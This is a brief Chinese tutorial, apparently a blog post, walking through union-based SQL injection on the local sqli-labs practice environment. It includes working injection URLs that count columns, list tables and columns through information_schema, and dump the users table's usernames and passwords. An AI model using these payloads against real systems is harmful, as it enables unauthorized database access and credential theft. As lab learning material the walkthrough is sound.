1.安装hackbar插件
链接:https://pan.baidu.com/s/1-QIYmAU-BV_DEONfxovizQ
提取码:dc66
2.SQL注入表信息解析(案例使用的sqlli-labs自带的数据库security)
2.1 通过order by 判断表有多少列
分析表有多少列(通过order by 列数 不断尝试,直到报错为止),如下图判断出该表有三列
2.2 有回显点,则通过union屏蔽连接左侧的sql,只执行自己的sql
通过将id赋为错误的数据将sql左侧的数据屏蔽,后面可以根据系统自带的信息来进行分析
通过 select user()用户信息 database()数据库 version()版本
2.3 获取数据库表的所有信息![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/67d69dc58e4b3e05d3e2169bba9ab381.png)
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where TABLE_SCHEMA=database()
- group_concat():是将此列的所有数据一行显示出来,如不加此函数,只会显示一个表名信息。
- information_schema:高版本5.0以上均有该系统表,通过select version()知道数据库的版本,则知道该版本所对应的系统表的结构。
2.4 获取指定表中所有列的信息
通过系统自带函数information_schema.COLUMNS
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users'
2.5 获取表中所有数据
已知表中字段,通过group_concat获取表中列的所有信息(0x3a为16进制的冒号,作为显示分隔使用)
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(username,0x3a,password),3 from users